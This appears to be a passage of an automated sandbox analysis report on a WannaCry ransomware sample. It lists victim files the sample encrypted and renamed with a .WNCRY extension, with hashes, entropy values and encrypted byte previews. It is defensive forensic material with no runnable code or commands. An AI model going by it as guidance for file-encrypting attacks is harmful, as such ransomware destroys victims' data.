                                                                                                                                                                              Preview:WANACRY!........,V'.1GO..RK.\.5.-.,g...P.L.I...|.r.O.e.x...u.Q....$v.*.+.2. Jv...K.U.fY.:.....:B\d .D...0...1.c6..]..%.J..........}.&}..4.EE{.{..11......2..AT.9F(...iQ.D|....m.o+.q..C.?B[T.p.0....66W.#....C.}.....E..g.M...d.0u......P..ng..z....+.y.3.I.j................h=...a.....To...t..w.?D}..Ev.U.g..*....J... h7.{.........) I.].D.Q./.*_X..S.......p....|:'.t....L.h....2=.....inB!....{/.@'....-.>C.Z.....f.So>.3..].(.,17.....w.....f...oG......C..^....20.+.FT.>QT.h.8C..QZ.I...>..f".(9yI.>=.<.|.......B$...X\3..[.~..%...m!P.b3-.......?_....02l.I.l|\l..=...6.......Q.=.q.&>.n...../.h.[..7L..6.6"mp.F.[HR.&..5p.[y....B.,P..g.B.1:..4....{@O.Og...<.(..UB.B0.(.^. :.W..RW|B....JD.^...F.v.YX......[ArVkN.$.....l.....H....R.U.f^.sZ.E.b).z.5...=.).*)|o(.....m.....:N...qO....N..;D.aY&.m.Z*..........Fu....<..Y..&.......".Eg..^... ..K.L..<"3..!...b..PrH|....Oo..N._%x...Z....Z.)x..G.......x..1./h..p....R.....bu.T.'.j...{.........?......p%...J.6.E.=......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8678022602632645
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk9kl8Xa2JqDv3esQDWVn5yyQkh4RdUb5uudb0YoX6v2ovCCEZcqf3sJIZVSc:bkOlqgDv3eszzQkh47Ub5iYs6uov7EOU
                                                                                                                                                                              MD5:C50DE1E768A7A3DAAE45DFBDB7F28F37
                                                                                                                                                                              SHA1:810E079742EC7FB065C8945C90B363DCCE140001
                                                                                                                                                                              SHA-256:C289C183158240CCA6BBDA9BCEBD72C5DCE8F741CD40C464490F86F74FE43858
                                                                                                                                                                              SHA-512:4B075746283259CA0B8BF636C5CEC2F3687145FFB377D67C1919E6D4F39D1B80A42DDDE46A6E6ABDB050AC6E969449143410E46EDFA756ACBDDA3B26393AECF0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f...+..N....3O.....l.sGE..X.l.h.@.9.U..j.`H{3..a.B..:...q.........F..nL..m>l.n@....|.CF.$.<-?._.5...9..H..m*Z..Xd......H&..2XJ~.C.>....n..\].t.WN...V. .b./.[=.Eg..f...Pt7z..F..S4..........).eoC.".m...#.)w)C0|l..Y.4Tk..Jn6...B.k.:....................].-.,...v.......:.@...E..--y....{..........&fJ=.....=..Py.[<..,<.&Fx......6.0....i....r..^p..6\.wL.Z.B....C@.'4Q..(.....}.......tqc_4q...'I.?......Lo.O..../A{...,#.....g.._.i.5}B{..h..)..&..n.5}...k"....S...d.@~...95$v.T.1cA]+..Vo......O..../M...../....'..?.....O\.~......?...D......k(S7!8..B..R..ZRR..W.....|.dB...?..Y.!1[.P....,.CI..H^.(.T.7.3..n...|.~...E..^k.._~...7=..M.....cE....r)..e`..;.|.a.>....<|..p.#..?[..R.....*.......ysU.j..TWWd.eI.g()"...;...(J.#..+Q.kY."..|....|0. d'..U.\U.....m.N.xZ.....&"..4s.+R...s.:L..4..v6...%o.|.Hr}.....v4.,\J......PF:DM8..RJ./...h.._....c..j.V.x..y)....V..8)N.=K....3.....h..T=-....Pu.|...x.B......x..}....\Z..+...0.......I.K.<.;...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.875042923489551
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkItipPUBtiCRaHvUrSAgw3qKGuvYOn8ArTmlnQVaHccc:bkppUgTHcPv6ueAInHHccc
                                                                                                                                                                              MD5:2257756177736690B34738EACF10FE5B
                                                                                                                                                                              SHA1:E50CB06F802A212CF6F9877E360B11A45398A05D
                                                                                                                                                                              SHA-256:1720CCEE76582A16A3FFA3D527922864E6D76DD7839846708D166A29E2725C58
                                                                                                                                                                              SHA-512:E90E66CFE99059F63C0086ED80232A493673A04CFF1435E8838D8EBAC092B256B1044ADA565B509B872E646F086A670608D530B8AA1247736CBE5A74F7A5F905
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........$U..*.n;..b.S....O..Q...}.J....>..Nw...{.)..)....j..$3..8.zj.6...!.J.BU..#\....?............e.....d..A#[._6.........h...R......=:..).E......O...... ..(.._.H.R..-.WC.:.....Nr..~.[....5IR2I.......D.{6....nn*.I..:..bQ..],.Z..x..................-..ir.3q..!....@I............"......ST.o.S..R!lF..p......_.0@..!..E........... "~1.)E.+(.RQ.(a...$xkR.......W\5>.......?Vw."....n.f...yX..J+..h8.....6..})..g.*p.<~...3..y..4.Z.......!L'r.jt.~P.9%......U.h...x8.}..VV.V.7D.$+!..H4...[..z.u.T.3.Q..8j.k.US*\..c,..!.}.<[.....t.......*G$..mM..t......~.kMgN.Vk1.29.....(.Lr<.m6w.~.O.....t......g.^..}!|.lQ.E..0u.g!l..l[G.%..[...^.mwO..$L[=vA.n..M.0..F...2o.....NHs.E..e...#)e...M.OM"..:Bc.=...W0!.L..5j.N.i....|pJ.....e..~..l.9s..Nq.B..i.n.L...xN;..y.m..k.$G..l......;..#..'w.J..A..N0.~.............../...........9.M....-$..s`acW.x<..8z.......*T...A....2...$~...B.T...h=c.7.p..j.,`...^.0.x.y.t.....CZ..'.....+.W..E.dF...4d.h.!H...Z.#.:.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.826124239150672
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksiFt0ht7fmaocqa2evGlx+fH8SWdrE1vVaHNI28LMaZVRudh44fitWr:bks8EOG2tlsfHerUVatI2UVov4i
                                                                                                                                                                              MD5:47A4EF42BCFAE29ADEADEC330CD9012A
                                                                                                                                                                              SHA1:2437E175BB03883616A72831CB8CDB1AB7B25221
                                                                                                                                                                              SHA-256:0A44824CB972F0ED59E319F3286CA72EF49497702CFCB2C64F2D4BFDA0A120B9
                                                                                                                                                                              SHA-512:8BE2A6DC044EA443A1245A9FDEAAAA1DD1F62A670AEB7FF2A996F272E73AB2A69A8C61EE9E4B5ACBB3A52BBF1D9F9237B33CD457A26F0C3DC11EE820CBE67DF6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....g...y\%2...%3..j=E!.z..I..b..../E...`e......tYQ...QO.{.8.K..*...U.......YOU...|.....f..|..AI..>.t..I.2r.w..i..Q8..;..G.[w..8..o$..1W.MC(........I..'.C...5n..^Q../.z.....x.+...<,......{.D.M..F.......tn.o.^..8..../.q.Ih+...L.h.3.&.....G...W..l............E3Dp*...0H........... .U.Y\...n..g&..n\..w.f......=:.GX..&^.e...._,.].,9v..j.Q.(..s...A X..:.".K.(#.........u.j.s3....N<tv...,.e.B.tz....L $#u..3......I..l......cU../+.....+zBO3..tE'.<..S..eb5.....&WJl.3]nZ......X....|.._..K\..qQ.F,.........[.@.lm.K.t.b..2......M.h%CXMaL..\G......&...fl.....hc........A]z....:.y.[..g.........DqJ..&.:..e......#.....d.P'..P.>..{.2...Q^h%.l...?.(.J/c.....F.dO.&.7..%.....>W5ys.5<2.D.s.:..Q.as....w...~b..w....'.....(P.q....F..Q8(.@.B. .44.{./g...o.7.o.."...T).h....#..>.,.....N..~...'.:.-5ZL.....9.....?#.PE...tzf.{...4..n..^Z...1hp..D.T...'..5R8L....`.2Z`.e<W.9 ..T..V}...H....}cs..Y...1.\y0%...$...gF...9..n.1.... .O....RE..... u.:.x...63.U

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845466176516848
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkiTkdZOCcAi3ygBbCZeLXlBKDPt6l5meBmtDek330Ip14QV5bxN/Wus6t0RiAt9:bkiiOCsPBbceTaDPJKwRN5FzsztUcB
                                                                                                                                                                              MD5:12948D1AA69940C535007EDF349CA935
                                                                                                                                                                              SHA1:1E4EAAD93158C8309A71B427994735AF1D0FFAF6
                                                                                                                                                                              SHA-256:0F95890A5CD33F8F4318EE63E73D56C630EF87BE1187A988195FFA2AC146A9C6
                                                                                                                                                                              SHA-512:C819817C9946D37F266C32C6DACFD94EE40C9875262365CC7E27C6561E145360DB7E1B2E7B1A3E9859388849A29FED47146C4CAA7118E0AFDAB94F9381118607
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........E$e...^.w..I.,$.P.7...3..az..B/n%^....p.@._]..'9t.....yUZ.-.0..?....8!..K......3.zk.?...Kfn....iH..[...[..`.\.8.U.Z....m..:G/..N.=.EK..h.H...*..S...N.".].7...+.....|r..d.,./na..u:6..J(q.K!....+.....%;T..).w(...PD.tR..v~..[.=..._B..".ol..4..^.............U.#;$.x;Dc..7>H!.........a..Xu.I.E.,h....u.?...........E..'.m.e_.O..r...=w....7.dt].^"...+'a.........gG...s&n.h...u...+..`..5h#.Y..m..o:.<.d.i.....0l..I.......:.'*.,$..{....F...IF.}_..F.+3'Y.... `....].p.V...n.l5.A.(zR..B....+'......!..q.=..G..y..Wh.WF.....H..|..J.`HtdN...K...o..7...........(x.....$.4la.I.......U.o....7..g....*!...SL.`D..-.....b........6.....jA.r..i.QU..&\._. ........N.a.u8.H=...Q....,..K.^..,..=..:v]|1h)kl.mx...?.|._.m...e......D..}|T....o.kZ...\.2..p.._o.V.....I.i6.{gc..I..g'..L......V..O..nn..K|2S..d..(....{.J.(..y.\...w..|....@.D....n.f.mrm*.7Z...H..Z..z...y....U.O..........\.o...O.:...EX.*f=@.Jq.*K.}..R.K....t.............6E...mX.../.A..e"...X..X...f.j..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8681520357866415
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOfz+E7ggWTj7Syfkdd8CFZHR+GG7Y5Z56TReEo0DDzqoVaLwPnhRl:bke05TvSyfud8kHEd7AMReEvaend
                                                                                                                                                                              MD5:9BEF0AC3583BDDA6DFA5E0CF2FFBD033
                                                                                                                                                                              SHA1:EE42D46BCBC28E9E260A0CA3F11A5CFE7FD1DFC4
                                                                                                                                                                              SHA-256:D6981CEE151FF422F36725CFA527955E93E3D4F2B36E71190FC3CF385A98C868
                                                                                                                                                                              SHA-512:97ABED73CC88B48BF60E4CC56BAB6CBB29214F3C2C6BF00FEE21C0C810C0D4EB05120307A8FF55CEE2782A91037D0CD9F1680BC157B7C147319CEED32808A4B3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s..($.e.>... ...?...Z..A.^.1..&c.?q..6.<....o.y.>...e....L4.....#...........Q6!.Q...l2c........:..yW..&.c..wrd....6)RS...;..X.O*..4...h.qtt...D...g.....0.r...._.......\x.".K....].-...v....2{`d..FT...g0.n...n.DB.X....tA!..$..L).I......+\G..o.8..C.-..................4...IY.(......G.,..-|\..H....&.# .W@D'..y~q..V...........z....K..!.F7t.;e...!G....].k(..i'j........C.Y..w...I'..Z..B.:.?.....5-.U....|s0.....}....*..h...Z...%..f-.V...u..g....}v=.]....`.m..oW......oWq[.j.~J../...Ovg{d.s).}n..N..h......@w.&RZ.......]..2.......R.G....C..,.&.S..a.....E..VJ.t6.....+....._..R.J.M..7..+.m.....QJ,....B}_..xmB..m.+XW.....2+.[v...."..+.)d}.a.ey~.~.........oI..T.:...9._H../.r..y..b....`$Z....c.....;I..U..u9bq./Ct..C.V.;..g%..5B....%.t."'K"$..uC..C....p.o.a.F.'..h.....,...\l...yz....H....{p.a..L>oM-h&:{.r.....S...9.U*.v..[...E{.."y.j*\N.4..BN....O8.G.....Q4k.R......-P...w...J.gG.....8.?d*.j..a....5....%t2.*.l0^..f....@.owHSD..M....7..ZV.........IA.q:

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854605215223229
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKfcz95r5J18+/0jiiZfR6D6YhG7oIehnCJ6t8iDTG6u4cPfAAT:bkKfmH18yUN56D6cIehw6t33GWcPfAM
                                                                                                                                                                              MD5:5707011326419D7254B6CA3A6ED1DB2C
                                                                                                                                                                              SHA1:D9B7A77C8C242108D22960C65E09351AD74F1F0B
                                                                                                                                                                              SHA-256:C9DF0248B103BE49B01626E35BADEE4F3E5DAEFD7DCF1073224FEEE7BA3FDADA
                                                                                                                                                                              SHA-512:5CAA86E3F06A7600199EBCE84FE3C2A49698DCD5E381B466327CB884B7008DF81A07F7C3D824A247BF3705B933D9FE7DFD54C31F5725D1502A2587118CD9E246
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....zigP...*P.h..(NYzH..KT........@.sH.....j...ks...4(.X(>..0Z.~.~}.c..;B.GK.@s.Y!...5.w.IZ....f.........k=....~..z....M..s...(h..?...W...s.g..2\.'\.^..\=l'#>*.OP.P#.66..R3.6.q...|.M.......p.2&d...f..PI.L.!z..).\W..AQ6.$|....GIC<....?..[.7x..G..(..................y.n1(...0V...5..4.e.....H.....N.S!/~A..y...HWF.a..[L..,...a.c~.sO...x+.Q.......)S......H.RM..&o.7oOG]..xl`.`..W%.....`...n~s?Z....*...O0.. ......5v.".......?.U.4>./.(.;...\3./Gd.a..1.......9..;}...a..h....7...D.....O..>k.!...c...i.$....{.%S.w...........">U`...........K.@....A...G.6.gy.|*)......t.:T..p.......B.].D.....V.t....C.L.`..Y..f;...%.......P.1......~da(n..kBS.g........3:!..............y....W.d.N"..-.\4X<.....U/...u...qH..F.).#.ZUv...O...BN.v.YeNb.Mr..#.X.YU.....fh=...&.lY.:.A.q.D2....M,H...........&.....R..'WNl.l-._8..6`...4..g.??.5....<a.............z..`.> .......i.qIKi.W...P...ci..c...7~....S,..;......`..8J...m.}.T;...M-..;%........^...Y.....%.....x.q...6b.<.~.. ...c.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.869812575176375
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk62KoAuG5JOjSp29FGkv5OfY4bavJFPDuezrLihKSWhPwt5lwySaj:bk622GOAFLv5OxbK3PDuebkWcBSaj
                                                                                                                                                                              MD5:8106A7F61E5EC22F80CAE6B3E5CD9FB6
                                                                                                                                                                              SHA1:6348CDD611A655344376B62041D9C349ED9272E1
                                                                                                                                                                              SHA-256:E94878C26863E74AFA3B1643E75BFAB5C1FA387460B25EF03301819B2D9DC204
                                                                                                                                                                              SHA-512:BE22623626E1D2DD6599CC1B81C5B4312451F318A62A96036CC65E49DDB524C97C47CD21D755B3F93E85DEB354390BEE4D73BA67AC2FF48A53DA4A2B2FB9D5D8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......U.p..;.)2I6.Lt.y.%S..U../.9E..j..%(..!.O..e.#0o.3...1......Z.tj....L,..R2..,.z3*. .7.[Z^%O..o......'....7UD.z|s.7i...~.....8.=.....*.t=F..c.[1KJ.."......H.[. .Tw.$.K^..:........Y.&..[(y!wHS#.A..*....B......Pt.7.t[..Ouw...j.^..UT....E......o..............(F........6.('..@.>...v..#.....mx..........D~W.K{....-$....2...4.c.k..LM..W).H.x....Y.`#3....>.1S[..[.r.......Q..Z|Wf...=.z`=...........N446...?...."......v.x~.M...............e.,+i+I0c%h...l.A}.i0g.#......@8..&....0.n6.8"..2....?r.....{...).....S....x.:..$w....v.U,E.u..7>U...f'C.g....<TP;O.....iDk&.J!'.kI.....6E}?..w..a.....A..v..t.f%r...v.r.s2rU.X.P}.b!k..~Z...5..E.......9....P)....AF4./P...i..+>..<.~.1ow.2.8{...GLE.No..mW....%..x.(.?.?....Q7Gl..v~.... ..?..J.q.."..:.H.x..aFh.'otG8.?..L"..*..&.YR<..^...nZi*...l...1GWS....?.z)..,.[`..U.sD$..n...{.u..'......:..~........y.v.kI....o.g.+..n....p.d.]...V....h.z....#h#$..>..`.8.k.&.z+.w.Yg%........#M...)..s.S,...'..sW.x..-B...Y

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8425216496216015
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBPXIVm9v3xXY0LbcafYJfNJUsrAutR5xHV3EBI4/BEZidg:bkBPXIIfxXY0LIauxLtR5xHtEBdEZidg
                                                                                                                                                                              MD5:79CD2FA8C65C7986BAC7E27C3B016D63
                                                                                                                                                                              SHA1:48AAB65B07C307EFB1D849B7F49FF9BFE9DC3A01
                                                                                                                                                                              SHA-256:0F014BC6EC12358BE2719566169DF3BC6E57D3A3AF8D6EDE497711940FA073ED
                                                                                                                                                                              SHA-512:D735CBB1EE01AE843576C290484814A01757E2D10B28197311399BB0D011F4CDD55B85CA32173BE9A27A53D8DEB411FC6815F28AC20CC4452F2FFF8A1EDC40F9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.v..?Z.j.e...Y.V| ..y.....6..9v3.!G.oh....|q.`.`...{}.h..JT...+...1....#h.k7...Z\..%..._.`..o.E.7_.+..m....h......<..I....l..b.m...*7...[.$b.`.gHLR..DP..^... S>.......E=....M.I.'..'..."...7o....~.6'....";....1...Gq{..{.l3.z...|.]...&.4K...-................=D...s...bh4...<..Z....%.y2j...|..4...*...^....>...|.\...(.U...,u.G..K..x..<F....}.y.J.^y+.Y$.(,..B.Y......r%c...yJ.Q.Y~.,.....%.L.r.....K.kP".!..25..p....gQ.46>z.....iz+CM.....1.....a.Pb....L...3q.#<EP.....?..U.Y.^a..n..2.y.#l,......d.F.H..o..t.:..O.2?....A#.....~..ZI....LN.^..I.._7t..m.-r.......K).4E..5;...$uZH..o.....*.,!J..-"..xl.....Q^{H.$-.7.r...T.`.j.."......!.....K*$I[..T...S....<fTfv...L.....B.Ey.....+..GG..-...ML...~.;C:.{.........qL.N...h..IB.6el_D2..P4.Q...r(.K%B...F.V@/..5..?:q.$.aLrE..2...U.qn..Q0...EY.+~,...w..^.`8..<....`.........H.T.W]. q...&./0.t..\.z..k.h...4...G........!..$k.....k...8/t.U......h2..I.5....2..._I."...,g....R.(...d..y..l.}....N...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):21400
                                                                                                                                                                              Entropy (8bit):7.989682964097866
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:XCGCFWn/pU7XXQvWi51b9z3JHJ81pLppskX0OScQ5N33coQKlPmp8wLH73mb:XZCFWn/pU7X2b9zZHqL/X0OY5N33QKlT
                                                                                                                                                                              MD5:A823686785E179FF23F148D25A2D78C6
                                                                                                                                                                              SHA1:A54A4B066F893FD3DEAB015283C5C09982C72C65
                                                                                                                                                                              SHA-256:E89D6341BCFC6E729D328BF343C0913340B6D32ACE5293AECB5A7F54543D0779
                                                                                                                                                                              SHA-512:A1734EADA17DF23156F1250AE895D90E2B7487040D5E4B9C2DC9AC79ED00B1811E6C982C2D3DC4EB4DB83AD1E7D521215F053DA1D53E46CE9B592B6048ED316B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......o.......W\....t..b.9.5..7..sw.)8V.>@...>.!.M..R..CeK..btA(..bp...m..D.M!fE.mg..Z.2itJ.Mo......-....=}..4..%.."r.......`.?#../"..W..<..T+6....0UK..'.i=N.G]*3..CC..n.#\.W...0?!....#c(...%......c...TBu..(B..U...,.fB...'Q..]...+.TXR.~B.`W...E..M......sR.......'.I)~g....O...E..[..A.FS..>m.y.$........V.-..*d].W.?C...W..A.QUB._.e~..J.......E.7..J..Y.....H..........7;.O.^...A?..X..Hh.g..<...-<....5q...,[.:8A.pl.a]...{... ......i.UZ._...~.lnt......S..Jn.........-..^.s-Fj1nE..H../..R..z...|M...{...f....m=......./...pz.Jqm...?.hy.`..R.h....:.M.}R:.9'...j.D......E..B.<..z.....H5.&.LD.Q..r.6wl..:..SD.p....1.rE.+E....f.rm..X.N..z..=g....J.#.z"...3.t'.k.......|.B..\.*{wXO....V.M....1U....*..7._.,>..xw.(..I......VA.).s.0..T.....$.Y.Q....%.f,%5.dm9A...Z../........S.....EvZ.(...H......=.-..I.....!x......H.8....R.....Cy6.....=3..<X..$.H.t.']""....o..u2.<..#!@..R.u...Z.......B........C.4.T...-....G..S1.0+\.a$k '.. .^..G.{^..I.T_.....C...>....0?nA_.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\AlternateServices.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.4468047776909625
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEcSAAGKo8R6FIRboDoPJwa0kMNz5uQybCkrPfgYWuYqq3LvsL8NgzyrR/u4gbJ:bkEen8i9oPJw5Lh5+WLNbkL8bF/Jgpb
                                                                                                                                                                              MD5:9FC149472179B3DD3127C2650792AF69
                                                                                                                                                                              SHA1:BE027B17053F52889C42924621C2EBFF41569031
                                                                                                                                                                              SHA-256:0C4D62FB86B291E25E25C633EC0DF72C8FA4023D3CAA8554CFA2F5C50CAEDFDC
                                                                                                                                                                              SHA-512:AA930A384B96112B0C87C2F36E254E30104B46E380368470495C9B1C93A1554D85EBC1325D9D65206B7B76EE1E10B4860C6793860C8095B68E4027AA0824464E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....3d.>...BK_.....<.|..?...Rv...\.L.D!.e..#.z.h.D..t.!....`.I.4F...b..5..NW..Ghba..r..m..!.(....N..BT..IY..&.X..h....[s6...]...z.7.;/{..dj.l.h..~.......U.....&w/m..<.w...23F.e..p.].9......_....$,.DGJM..&..S..&.(..2N].0...qm...W.[x.R..m..W.f.L.S..............*...P......8.'.-...#.^.a;.>~.,...i...^...F..O..V.V].n]......d.;.kC....EETqNT.i-r......e.....tZ.8....f...J.w.......V.2..p..i...)O...(|k...d.g.T.1.le.,..W.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\SiteSecurityServiceState.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):824
                                                                                                                                                                              Entropy (8bit):7.772474794518705
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOpJoz7NduM3auuktmHx3/00M9s8TTR2Uft:bkCOz7juqkkt+c0kTl2et
                                                                                                                                                                              MD5:87FAAE5D204943D51B63BC450D7E4B4E
                                                                                                                                                                              SHA1:999D4327F25CB1D492111B2F615FACBFD99AA8CE
                                                                                                                                                                              SHA-256:860AE244E308A8583F5437D50A0A4527378F9782F07F1591B7F3943A7BAAA5A9
                                                                                                                                                                              SHA-512:17605ECBBCEA8508366DCD0FBBBA092A36ABB26D6D662EAFFD46092A3C3A7BAE84B14344F7E6A0A750E03C942BA20FC6BEED5E85C63F2B166D0F4A1B0F0FDA25
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....h./..b.....N..Ms(.q.NK.I.s....F.!..0O..X.le}*...~..T....l..<...m.=Y..W..z|.ZS...<..]4.YG...]...}...f.X..c........&.,....x^.O....?...z...&....p.L...^.....8.."...x).....$3...m.............y|$..K..d......3..rG.....{..0.u...@..-..a.<....$..jz..............Q...d..ow.y...T....R3.:..<B.9.I...d...ab..J.."Xj..ou.|..~.PtB...b.e......o?f.....j.6.G...4a..c]...i<a.0.TF-....4\..M...m......U).b#e..u......../...7p..Zd...].....|]...C.....H#.+.......(,S.....AO.V....[*.l.jC(....:.....p%.P...b..s...<.X....v...~b..l...T.~.Q....uY...o3.(.q:.W%................5aP.......) .I..FO..1<'*./.........L..5.1....#4]s*..TJ....+..>..<N....2...../...o......r..G...i.K"...rNs......1..D) ...m;.....AD......<.43^.z'.....$!. ._....t...(..A..<s..r`..k............UE...g........c..e..lDBH_..=4...&..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):229656
                                                                                                                                                                              Entropy (8bit):7.999138164363837
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:8eIb27ceO0jza6MXITQ2ezKKaO00MrFU56jmK7D:8Xb6c30aR6KlPMr3p7D
                                                                                                                                                                              MD5:BCDEB07A06EB9A7794A551DFD54CD6A8
                                                                                                                                                                              SHA1:51C4FDD7C3E8664D8D00C036C4817091D6C79412
                                                                                                                                                                              SHA-256:9252888F95A886A65BF7ECDF49145FC83A52EE31799DD097C115467CB0FFB6BB
                                                                                                                                                                              SHA-512:777641BCAC3DA2A845D3D27776599FCF3305CAFD640B43C6FD0ED7F6356AC8118CC2F1570889713562285A5D64C65397D44B29476B96C0C61DD151C5FB2C753A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
